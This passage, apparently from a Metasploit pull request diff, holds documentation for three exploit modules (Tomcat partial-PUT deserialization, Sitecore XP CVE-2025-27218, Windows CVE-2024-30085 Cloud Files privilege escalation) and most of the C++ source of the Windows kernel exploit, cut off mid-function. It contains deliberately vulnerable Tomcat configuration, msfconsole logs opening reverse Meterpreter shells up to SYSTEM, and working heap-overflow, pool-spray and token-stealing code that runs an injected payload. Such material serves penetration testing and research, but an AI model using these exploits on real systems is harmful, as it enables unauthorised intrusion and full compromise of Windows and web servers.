sudo chown -R msfuser:msfuser /opt/apache-tomcat-9.0.90
sudo chmod -R +x /opt/apache-tomcat-9.0.90/bin
```
Edit `conf/web.xml` and update the default servlet with the following:
```
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
```
Edit `conf/content.xml` and add the following inside the pre-existing `<Context>` tags:
```
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
```
Create the following directory inside the tomcat root directory:
```
mkdir -p webapps/ROOT/WEB-INF/lib
cd ./webapps/ROOT/WEB-INF/lib
```
Download the following dependencies:
```
wget https://repo1.maven.org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
wget https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar
```
Start the vulnerable Tomcat instance:
```
cd /opt/apache-tomcat-9.0.90/bin
./startup.sh
```
## Options
### GADGET
The desired ysoserial gadget to use to obtain RCE.
## Verification Steps
1. Start msfconsole
2. `use multi/http/tomcat_partial_put_deserialization`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_PORT>`
5. `set GADGET <YSOSERIAL_GADGET>`
6. `set LHOST eth0`
7. `check`
8. `exploit`
## Scenarios
### Apache Tomcat 9.0.90, jdk8.0.422 running on Ubuntu Server 24. Target: Linux Command
```
msf6 > use multi/http/tomcat_partial_put_deserialization
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set rport 8080
rport => 8080
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set rhost 172.16.199.130
rhost => 172.16.199.130
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > set gadget CommonsCollections6
gadget => CommonsCollections6
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > check
[!] This exploit may require manual cleanup of '../webapps/ROOT/YLNKdGSIcB.session' on the target
[+] 172.16.199.130:8080 - The target is vulnerable.
msf6 exploit(multi/http/tomcat_partial_put_deserialization) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Utilizing CommonsCollections6 deserialization chain
[+] Uploaded ysoserial payload (imNsIsZCCC.session) via partial PUT
[*] Attempting to deserialize session file..
[+] 500 error response usually indicates success :)
[*] Sending stage (24772 bytes) to 172.16.199.130
[+] Deleted ../webapps/ROOT/pAdshcNMRO.session
[+] Deleted ../webapps/ROOT/imNsIsZCCC.session
[*] Meterpreter session 6 opened (172.16.199.1:4444 -> 172.16.199.130:44562) at 2025-04-02 13:34:50 -0700
meterpreter > getuid
Server username: msfuser
meterpreter > sysinfo
Computer : msfserver
OS : Linux 6.8.0-57-generic #59-Ubuntu SMP PREEMPT_DYNAMIC Sat Mar 15 17:40:59 UTC 2025
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
@@ -0,0 +1,45 @@
## Vulnerable Application
This module exploits a .NET deserialization vulnerability in Sitecore Experience Manager (XM) and Experience
Platform (XP) 10.4 before KB1002844 by injecting a malicious Base64-encoded BinaryFormatter payload into an HTTP header.
### Setup
The SiteCore installer can be downloaded from the [downloads page](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform/104/Sitecore_Experience_Platform_104).
Note that a license is required to run the application.
## Verification Steps
1. Start msfconsole
2. Do: `use windows/http/sitecore_xp_cve_2025_27218`
3. Set the `RHOST` abd `LHOST`, options
4. Run the module
5. Receive a Meterpreter session as the `IIS APPPOOL\XP0.sc` user.
## Scenarios
### SiteCore XP 10.4.0 Revision 010422 running on Windows Server 2022
```
msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > set rhost xp0.sc
rhost => xp0.sc
msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > dns add-static xp0.sc 192.168.123.244
[*] Added static hostname mapping xp0.sc to 192.168.123.244
msf6 exploit(windows/http/sitecore_xp_cve_2025_27218) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. The target is running SiteCore.
[+] Server responded with 200, this probably means it worked.
[*] Sending stage (203846 bytes) to 192.168.123.244
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.244:49832) at 2025-03-27 08:58:13 -0700
meterpreter > getuid
Server username: IIS APPPOOL\XP0.sc
meterpreter > sysinfo
Computer : WIN-2I9LBN2Q0R5
OS : Windows Server 2022 (10.0 Build 20348).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```
@@ -0,0 +1,118 @@
## Vulnerable Application
As of the writing of this documentaiton, NIST claims on https://nvd.nist.gov/vuln/detail/cve-2024-30085 that the
following versions of Windows are vulnerable:
```
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.17763.5936
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.19044.4529
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.19045.4529
cpe:2.3:o:microsoft:windows_11_21h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.22000.3019
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.22621.3737
cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.22631.3737
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.17763.5936
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.20348.2522
cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*
Up to (excluding) 10.0.25398.950
```
In practice, this exploit did not work on Windows 10_1809, but does appear to work on Windows 10_2004, 10_20H2, and
10_21H1 as well as the remaining vulnerable versions listed by NIST.
CVE-2024-30085 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
Windows 11 and Windows Server 2022.
The vulnerability is a heap overflow in the Cloud Files Mini Filter Driver, a driver that facilitates
management and synchronization of files between a local host and a remote server. Under certain specific
circumstances, the application will not perform a check of the size when updating a file in local memory,
allowing a heap overflow.
By overflowing and corrupting _WNF_STATE_DATA objects, we can leak the location of the ALPC handle table and again
to leak a PipeAttribute object. The PipeAttribute object then allows us to leak the location of the system process
token and overwrite own on token with it.
If this exploit fails, it will not work again until the target reboots.
### Setup
Windows 10 2004 to Windows 11 23H2 and Server 2022 through server 23H2 are vulnerable.
This exploit module has been tested on Windows 10 2004 through Windows 11 23H2 10.0.22631.2428 and Server 2022
10.0.20348.169
## Verification Steps
1. Start msfconsole
1. Get a user level session on an affected Windows machine
1. Do: `windows/local/cve_2024_30085_cloud_files`
1. Set the `LHOST`, `LPORT`, and `SESSION` options
1. Run the module
1. Receive a session running in the context of the `NT AUTHORITY\SYSTEM` user.
## Scenarios
### Windows 11 (10.0 Build 22631.2428)
```
msf6 exploit(windows/local/cve_2024_30085_cloud_files) > show options
Module options (exploit/windows/local/cve_2024_30085_cloud_files):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 3 yes The session to run this module on
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4545 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/cve_2024_30085_cloud_files) > set session 5
session => 5
msf6 exploit(windows/local/cve_2024_30085_cloud_files) > run
[*] Started reverse TCP handler on 10.5.135.201:4545
[*] Running automatic check ("set AutoCheck false" to disable)
[*] OS version: Windows 11 version 23H2
[+] The target appears to be vulnerable.
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 4152
[*] Reflectively injecting the DLL into 4152...
[*] Sending stage (203846 bytes) to 10.5.132.111
[*] Meterpreter session 6 opened (10.5.135.201:4545 -> 10.5.132.111:49800) at 2025-03-06 16:19:44 -0600
meterpreter > sysinfo
Computer : WIN11_23H2_8EA9
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32413.119
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-202430085-dll", "cve-202430085-dll\cve-202430085-dll.vcxproj", "{93E2DA95-5C4F-4801-9156-E5AB3A944B10}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x64.ActiveCfg = Debug|x64
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x64.Build.0 = Debug|x64
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x86.ActiveCfg = Debug|Win32
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Debug|x86.Build.0 = Debug|Win32
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x64.ActiveCfg = Release|x64
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x64.Build.0 = Release|x64
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x86.ActiveCfg = Release|Win32
{93E2DA95-5C4F-4801-9156-E5AB3A944B10}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {042F6B8E-E6B4-4733-B6D1-A7430B811DE6}
EndGlobalSection
EndGlobal
@@ -0,0 +1,601 @@
// main.cpp
#include <Windows.h>
#include <cfapi.h>
#include <tchar.h>
#include <stdio.h>
#include <winternl.h>
#include "common.h"
#include "cve-2024-30085-dll.h"
#pragma comment(lib, "cldapi.lib")
#pragma comment(lib, "ntdll.lib")
typedef struct _ALPC_MESSAGE_ATTRIBUTES {
ULONG AllocatedAttributes;
ULONG ValidAttributes;
}
ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES;
typedef struct _ALPC_MESSAGE {
PORT_MESSAGE PortHeader;
BYTE PortMessage[1000];
}
ALPC_MESSAGE, * PALPC_MESSAGE;
/*
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID;
*/
/*
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemHandleInformation = 16,
SystemBigPoolInformation = 66
} SYSTEM_INFORMATION_CLASS;
*/
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
}
RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
}
RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
unsigned short UniqueProcessId;
unsigned short CreatorBackTraceIndex;
unsigned char ObjectTypeIndex;
unsigned char HandleAttributes;
unsigned short HandleValue;
void* Object;
unsigned long GrantedAccess;
long __PADDING__[1];
}
SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
unsigned long NumberOfHandles;
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
}
SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_BIGPOOL_ENTRY {
union {
PVOID VirtualAddress;
ULONG_PTR NonPaged : 1;
};
SIZE_T SizeInBytes;
union {
UCHAR Tag[4];
ULONG TagUlong;
};
}
SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY;
typedef struct _SYSTEM_BIGPOOL_INFORMATION {
ULONG Count;
SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1];
}
SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION;
typedef NTSTATUS(NTAPI* NTFSCONTROLFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PVOID ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG FsControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
extern "C"
NTSTATUS NTAPI NtAlpcCreatePort(
_Out_ PHANDLE PortHandle,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes
);
extern "C"
NTSTATUS NTAPI NtAlpcCreateResourceReserve(
_In_ HANDLE PortHandle,
_Reserved_ ULONG Flags,
_In_ SIZE_T MessageSize,
_Out_ PHANDLE ResourceId
);
extern "C"
NTSTATUS NTAPI NtAlpcSendWaitReceivePort(
_In_ HANDLE PortHandle,
_In_ ULONG Flags,
_Inout_opt_ PPORT_MESSAGE SendMessage,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes,
_Inout_opt_ PPORT_MESSAGE ReceiveMessage,
_Inout_opt_ PSIZE_T BufferLength,
_Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes,
_In_opt_ PLARGE_INTEGER Timeout
);
NTFSCONTROLFILE NtFsControlFile;
PREPARSE_DATA_BUFFER MakeDataBuffer(PVOID overData, ULONG overSize) {
DWORD dataLen = 0x3fe8;
PBYTE data = new BYTE[dataLen];
memset(data, 0, dataLen);
*(PUSHORT)&data[0x0] = 0x0001;
*(PUSHORT)&data[0x2] = 0x4000;
PREPARSE_CLD_BUFFER cld = (PREPARSE_CLD_BUFFER)&data[4];
PBYTE p = (PBYTE)&cld->Magic;
cld->Magic = REPARSE_BUFFER_MAGIC_VALUE;
cld->Reserved = 0x0000;
cld->NumItems = 0;
cld->Size = 0x3fe4;
CLD_ADD_ITEM(0x7, 1, 0x200); // must be {0, 1}
CLD_ADD_ITEM(0xa, 4, 0x204); // some kind of flag
CLD_ADD_ITEM(0x6, 8, 0x208); // ???
CLD_ADD_ITEM(0, 0, 0); // dummy
CLD_ADD_ITEM(0x11, 0x3800, 0x210); // bitmap
*(PBYTE)&p[0x200] = 0x01;
*(PULONG32)&p[0x204] = 0x00000000;
*(PULONG64)&p[0x208] = 0x0000000000000000;
cld = (PREPARSE_CLD_BUFFER)&p[0x210];
p = (PBYTE)&cld->Magic;
cld->Magic = REPARSE_BITMAP_MAGIC_VALUE;
cld->Reserved = 0x0000;
cld->NumItems = 0;
cld->Size = 0x3800;
CLD_ADD_ITEM(0x7, 1, 0x100);
CLD_ADD_ITEM(0x7, 1, 0x101);
CLD_ADD_ITEM(0x7, 1, 0x102);
CLD_ADD_ITEM(0x6, 8, 0x104);
CLD_ADD_ITEM(0x11, 0x1000 + overSize, 0x110);
*(PBYTE)&p[0x100] = 0x00;
*(PBYTE)&p[0x101] = 0x01;
*(PBYTE)&p[0x102] = 0x00;
memcpy(&p[0x1110], overData, overSize);
PBYTE reparseBuffer = new BYTE[sizeof(REPARSE_DATA_BUFFER) + dataLen];
PREPARSE_DATA_BUFFER rd = (PREPARSE_DATA_BUFFER)reparseBuffer;
ZeroMemory(reparseBuffer, sizeof(REPARSE_DATA_BUFFER) + dataLen);
rd->ReparseTag = IO_REPARSE_TAG_CLOUD;
rd->ReparseDataLength = dataLen;
memcpy(rd->GenericReparseBuffer.DataBuffer, data, dataLen);
return rd;
}
BOOL GetObjAddr(PVOID* ppObjAddr, ULONG ulPid, HANDLE handle) {
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
ULONG ulBytes = 0;
NTSTATUS ntRet;
*ppObjAddr = NULL;
while ((ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)16, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
if (pHandleInfo != NULL) {
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, 2 * ulBytes);
}
else {
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(1, 2 * ulBytes);
}
}
if (!NT_SUCCESS(ntRet)) {
goto Exit;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (USHORT)handle)) {
*ppObjAddr = pHandleInfo->Handles[i].Object;
break;
}
}
Exit:
if (pHandleInfo)
free(pHandleInfo);
return (*ppObjAddr != NULL);
}
BOOL GetPoolAddr(PVOID* ppPoolAddr, UINT tag, SIZE_T poolSize) {
NTSTATUS ntRet;
BOOL bRet = FALSE;
ULONG retlen;
*ppPoolAddr = NULL;
DWORD* info = (DWORD*)malloc(0x1000);
PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo;
ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)66, info, 0x1000, &retlen);
if ((ntRet != STATUS_INFO_LENGTH_MISMATCH) && !NT_SUCCESS(ntRet)) {
goto Exit;
}
info = (DWORD*)realloc(info, retlen);
ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)66, info, retlen, &retlen);
if (!NT_SUCCESS(ntRet)) {
goto Exit;
}
pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION)info;
if (pBigPoolInfo->Count == 0) {
goto Exit;
}
for (ULONG i = pBigPoolInfo->Count - 1; i >= 0; i--) {
if ((pBigPoolInfo->AllocatedInfo[i].TagUlong == tag) && (pBigPoolInfo->AllocatedInfo[i].SizeInBytes == poolSize)) {
*ppPoolAddr = pBigPoolInfo->AllocatedInfo[i].VirtualAddress;
bRet = TRUE;
break;
}
}
Exit:
free(info);
return bRet;
}
HANDLE g_readPipe;
HANDLE g_writePipe;
BOOL PipeInit() {
return CreatePipe(&g_readPipe, &g_writePipe, NULL, 0);
}
BOOL PipeWriteAttr(VOID* attr, UINT attrSize) {
IO_STATUS_BLOCK iosb;
char output[0x100];
NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, &
iosb, 0x11003C, attr, attrSize,
output, sizeof(output));
return NT_SUCCESS(ntRet);
}
BOOL PipeReadAttr(CHAR* pipeName, PVOID pOutput, SIZE_T outputSize) {
IO_STATUS_BLOCK iosb;
NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, &iosb, 0x110038, pipeName, strlen(pipeName) + 1, pOutput, outputSize);
return NT_SUCCESS(ntRet);
}
BOOL PipePoolSprayAlloc(SIZE_T poolSize, UINT sprayCount, BYTE* pAttr, PCSTR szPrefix) {
BOOL bRet = TRUE;
SIZE_T attrSize = poolSize - 0x28;
for (UINT i = 0; i < sprayCount; i++) {
snprintf((CHAR*)pAttr, attrSize, "%s%x", szPrefix, i);
if (!PipeWriteAttr(pAttr, attrSize)) {
bRet = FALSE;
break;
}
}
return bRet;
}
HANDLE g_hResource = NULL;
BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) {
HANDLE hPort;
HANDLE hResource;
NTSTATUS ntRet;
for (UINT i = 0; i < portsCount; i++) {
hPort = phPorts[i];
for (UINT j = 0; j < reservesCount; j++) {
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
if (!NT_SUCCESS(ntRet))
return FALSE;
if (g_hResource == NULL) { // save only the very first
g_hResource = hResource;
}
}
}
return TRUE;
}
BOOL isKernAddr(ULONG_PTR kaddr) {
return ((kaddr & 0xffff800000000000) == 0xffff800000000000);
}
BOOL CreateALPCPorts() {
ALPC_PORT_ATTRIBUTES portAttr;
OBJECT_ATTRIBUTES oa;
NTSTATUS status;
UNICODE_STRING objName;
WCHAR portName[100];
for (UINT i = 0; i < g_portCount; i++) {
swprintf_s(portName, 100, L"\\RPC Control\\TestPort_%d", i);
RtlInitUnicodeString(&objName, portName);
InitializeObjectAttributes(&oa, &objName, 0, 0, NULL);
ZeroMemory(&portAttr, sizeof(portAttr));
portAttr.MaxMessageLength = MAX_MSG_LEN;
status = NtAlpcCreatePort(&g_ports[i], &oa, &portAttr);
if (NT_SUCCESS(status) == FALSE) {
return FALSE;
}
}
return TRUE;
}
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
if (!pMsfPayload)
return;
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pPayload)
return;
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL);
}
BOOL GetTokenOffset(PUINT offset) {
BOOL result = FALSE;
PBYTE peb;
USHORT buildNumber;
peb = *(PBYTE*)((PBYTE)NtCurrentTeb() + 0x60);
buildNumber = *(PUINT16)&peb[0x120];
if (WINDOWS_BUILD_19H1 <= buildNumber && buildNumber <= WINDOWS_BUILD_19H2) {
*offset = 0x360;
result = TRUE;
}
else if (buildNumber >= WINDOWS_BUILD_19H2) {
*offset = 0x4b8;
result = TRUE;
}
return result;
}
BOOL Initialize() {
BOOL result;
g_ports = (PHANDLE)HeapAlloc(GetProcessHeap(), 0, g_portCount * sizeof(HANDLE));
if (g_ports == NULL) {
return FALSE;
}
result = CreatePipe(&g_readPipe, &g_writePipe, NULL, 0);
if (result == FALSE) {
return FALSE;
}
result = CreateALPCPorts();
if (result == FALSE) {
return FALSE;
}
CONST ULONG poolAlHaSize = 0x1000;
CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;
//printf(" allocating alpc reserve handles\n");
result = AllocateALPCReserveHandles(g_ports, g_portCount, reservesCount - 1);
if (!result) {
return FALSE;
}
HMODULE ntdll;
ntdll = LoadLibraryW(L"ntdll.dll");
if (ntdll == NULL) {
return FALSE;
}
NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(ntdll, "NtFsControlFile");
if (NtFsControlFile == NULL) {
return FALSE;
}
PKALPC_BLOB blob;
blob = (PKALPC_BLOB)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE));
if (blob == NULL) {
return FALSE;
}
blob->Ref = 1;
blob->Type = AlpcReserveType;
g_reserve = (PKALPC_RESERVE)&blob->Data;
blob = (PKALPC_BLOB)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE));
if (blob == NULL) {
return FALSE;
}
blob->Ref = 1;
blob->Type = AlpcMessageType;
g_message = (PKALPC_MESSAGE)&blob->Data;
g_reserve->Size = sizeof(KALPC_RESERVE) - sizeof(g_reserve->Size);
g_reserve->Message = g_message;
g_message->Reserve = g_reserve;
return TRUE;
}
extern "C" int Exploit(PMSF_PAYLOAD pMsfPayload) {
BOOL result;
NTSTATUS status;
UINT tokenOffset;
if (GetTokenOffset(&tokenOffset) == FALSE) {
//printf("[-] Error\n");
return FALSE;
}
//printf("[*] Initializing...\n");
if (Initialize() == FALSE) {
//printf("[-] Error\n");
return FALSE;
}
CF_SYNC_REGISTRATION reg = {};
reg.StructSize = sizeof(reg);
reg.ProviderName = L"TestProvider";
reg.ProviderVersion = L"1234";
reg.ProviderId = {
0xB196E670,
0x59C7,
0x4D41,
{
0
}
};
CF_SYNC_POLICIES pol = {};
pol.StructSize = sizeof(pol);
pol.HardLink = CF_HARDLINK_POLICY_ALLOWED;
pol.InSync = CF_INSYNC_POLICY_NONE;
pol.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
pol.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
CF_CONNECTION_KEY key = {};
CF_CALLBACK_REGISTRATION table[1] = {
CF_CALLBACK_REGISTRATION_END
};
WCHAR targetDir[MAX_PATH + 1] = {};
WCHAR targetPath[MAX_PATH + 1] = {};
WCHAR tmpPath[MAX_PATH + 1] = {};
GetCurrentDirectory(MAX_PATH, targetDir);
swprintf_s(targetPath, L"%s\\SYNC_ROOT", targetDir);
CfUnregisterSyncRoot(targetPath);
RemoveDirectory(targetPath);
//printf(" registering provider\n");
if (!CreateDirectory(targetPath, NULL)) {
//printf("[-] Error\n");
return FALSE;
}
status = CfRegisterSyncRoot(targetPath, &reg, &pol, CF_REGISTER_FLAG_NONE);
if (NT_SUCCESS(status) == FALSE) {
//printf("[-] Error\n");
return FALSE;
}
status = CfConnectSyncRoot(targetPath, table, NULL, CF_CONNECT_FLAG_NONE, &key);
if (NT_SUCCESS(status) == FALSE) {
//printf("[-] Error\n");
return FALSE;
}
//printf(" creating reparse point\n");
swprintf_s(tmpPath, L"%s\\XXX", targetPath);
if (!CreateDirectory(tmpPath, NULL)) {
//printf("[-] Error\n");
return FALSE;
}
swprintf_s(tmpPath, L"%s\\XXX", targetDir);
if (!MoveFile(targetPath, tmpPath)) {
//printf("[-] Error\n");
return FALSE;
}
//printf(" setting reparse data\n");
IO_STATUS_BLOCK iosb = {};
OBJECT_ATTRIBUTES objAttr = {};
UNICODE_STRING objName = {};
WCHAR path[MAX_PATH];
HANDLE file;
swprintf_s(path, MAX_PATH, L"\\??\\%s%s", targetDir, L"\\XXX\\XXX");
RtlInitUnicodeString(&objName, path);
InitializeObjectAttributes(&objAttr, &objName, 0x40, 0, NULL);
status = NtCreateFile(&file, GENERIC_READ | GENERIC_WRITE, &objAttr, &iosb, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
if (NT_SUCCESS(status) == FALSE) {
//printf("[-] Error\n");
return FALSE;
}
PREPARSE_DATA_BUFFER rd = MakeDataBuffer(&g_reserve, sizeof(g_reserve));
if (rd == NULL) {
//printf("[-] Error\n");
return FALSE;
}
status = NtFsControlFile(file, NULL, NULL, NULL, &iosb, FSCTL_SET_REPARSE_POINT, rd, rd->ReparseDataLength + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, 0);
CloseHandle(file);
swprintf_s(tmpPath, L"%s\\XXX", targetDir);
if (!MoveFile(tmpPath, targetPath)) {
//printf("[-] Error\n");
return FALSE;
}
// Trigger
ULONG attrSize = 0x1000;
BYTE* pAttr = (BYTE*)calloc(attrSize + 10, sizeof(BYTE));
memset(pAttr, 0, attrSize);
if (!PipePoolSprayAlloc(0x1000, 1, pAttr, "x")) {
//printf("[-] Error\n");
return FALSE;
}
if (!PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "a")) {
//printf("[-] Error\n");
return FALSE;
}
if (!PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "b")) {
//printf("[-] Error\n");
return FALSE;
}
UINT holesCount = 0;
for (int i = 0; i < SPRAY_COUNT; i += 2) {
snprintf((CHAR*)pAttr, attrSize, "%s%x", "b", i);
if (!PipeWriteAttr(pAttr, strlen((CHAR*)pAttr) + 1)) {
//printf("[-] Error\n");
return FALSE;
}
holesCount++;
}
if (!AllocateALPCReserveHandles(g_ports, g_portCount, 1)) {
//printf("[-] Error\n");
return FALSE;
}
for (int i = 1; i < SPRAY_COUNT; i += 2) {
snprintf((CHAR*)pAttr, attrSize, "%s%x", "b", i);
if (!PipeWriteAttr(pAttr, strlen((CHAR*)pAttr) + 1)) {
//printf("[-] Error\n");
return FALSE;
}
}
swprintf_s(tmpPath, L"%s\\XXX", targetPath);
file = CreateFile(tmpPath, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
//printf("[*] Cleaning up...\n");
status = CfDisconnectSyncRoot(key);
if (NT_SUCCESS(status) == FALSE) {
//printf("[-] Error\n");
return FALSE;
}
status = CfUnregisterSyncRoot(targetPath);
if (NT_SUCCESS(status) == FALSE) {
//printf("[-] Error\n");
return FALSE;
}
swprintf_s(tmpPath, L"%s\\XXX", targetPath);
if (!RemoveDirectory(tmpPath)) {
//printf("[-] Error\n");
return FALSE;
}
if (!RemoveDirectory(targetPath)) {
